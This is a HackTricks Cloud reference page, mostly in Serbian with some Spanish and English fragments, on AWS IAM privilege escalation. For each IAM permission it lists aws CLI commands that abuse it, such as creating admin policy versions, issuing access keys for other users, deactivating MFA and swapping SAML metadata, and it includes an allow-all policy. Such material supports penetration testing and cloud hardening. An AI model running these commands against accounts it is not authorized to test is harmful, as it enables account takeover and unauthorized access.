Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

9.4 KiB

AWS - IAM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

IAM

Za više informacija o IAM pogledajte:

{{#ref}} ../../aws-services/aws-iam-enum.md {{#endref}}

iam:CreatePolicyVersion

Omogućava kreiranje nove IAM policy verzije, zaobilaženjem potrebe za dozvolom iam:SetDefaultPolicyVersion korišćenjem flaga --set-as-default. Ovo omogućava definisanje prilagođenih dozvola.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact: Direktno eskalira privilegije omogućavajući izvršavanje bilo koje akcije nad bilo kojim resursom.

iam:SetDefaultPolicyVersion

Omogućava promenu podrazumevane verzije IAM policy-ja na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Uticaj: Indirektna privilege escalation omogućavanjem dodatnih dozvola.

iam:CreateAccessKey

Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalne privilege escalation.

Exploit:

aws iam create-access-key --user-name <target_user>

Uticaj: Neposredna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Dozvoljava kreiranje ili ažuriranje login profila, uključujući postavljanje lozinki za prijavu na AWS konzolu, što vodi do neposredne eskalacije privilegija.

Eksploit za kreiranje:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit za ažuriranje:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Uticaj: Direktna eskalacija privilegija prijavom kao korisnik "any".

iam:UpdateAccessKey

Dozvoljava ponovno aktiviranje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni access key.

Eksploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impact: Direktna eskalacija privilegija ponovnim reaktiviranjem access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole pridruženog korisnika.

Exploit for Creation:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit za Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Uticaj: Direktna eskalacija privilegija u okviru servisnih dozvola korisnika.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Omogućava prikačivanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačene politike.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit za grupu:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Uticaj: Direktna eskalacija privilegija na sve što politika dozvoljava.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Dozvoljava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktnu eskalaciju privilegija dodeljivanjem dodatnih dozvola.

Eksploit za ulogu:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit za Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Možete koristiti politiku poput:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Uticaj: Direktna eskalacija privilegija dodavanjem dozvola putem politika.

iam:AddUserToGroup

Omogućava dodavanje sebe u IAM grupu, čime se eskaliraju privilegije nasleđivanjem dozvola te grupe.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Uticaj: Direktna eskalacija privilegija do nivoa dozvola grupe.

iam:UpdateAssumeRolePolicy

Omogućava izmenu assume role policy dokumenta role, čime se omogućava preuzimanje role i njenih pripadajućih dozvola.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gde politika izgleda ovako, i time daje korisniku dozvolu da preuzme ulogu:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Uticaj: Direktna eskalacija privilegija preuzimanjem dozvola bilo koje uloge.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Dozvoljava otpremanje javnog SSH ključa za autentikaciju u CodeCommit i deaktivaciju MFA uređaja, što može dovesti do potencijalne indirektne eskalacije privilegija.

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit za deaktivaciju MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Uticaj: Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.

iam:ResyncMFADevice

Dozvoljava ponovnu sinhronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite.

Bash komanda:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Uticaj: Indirect privilege escalation by adding or manipulating MFA devices.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Sa ovim dozvolama možete promeniti XML metadata of the SAML connection. Zatim, možete zloupotrebiti SAML federation da se login sa bilo kojom role that is trusting it.

Imajte na umu da nakon ovoga legitimni korisnici neće moći da se login. Međutim, možete dobiti XML, zameniti ga svojim, login i vratiti prethodnu konfiguraciju.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Note

TODO: Alat sposoban da generiše SAML metapodatke i izvrši login sa zadatom role

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Nisam siguran u ovo) Ako napadač ima ove dozvole, mogao bi dodati novi Thumbprint i tako izvršiti login u svim role koje veruju provideru.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Ovo dopuštenje omogućava napadaču da ažurira permissions boundary korisnika, potencijalno eskalirajući njihove privilegije tako što će im omogućiti da izvrše radnje koje su inače ograničene njihovim postojećim dozvolama.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Akter sa iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada neko sa ovom dozvolom promeni granicu uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako prikači permisivno ograničenje, efikasno proširiti šta uloga može da radi i eskalirati privilegije.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

Izvori

{{#include ../../../../banners/hacktricks-training.md}}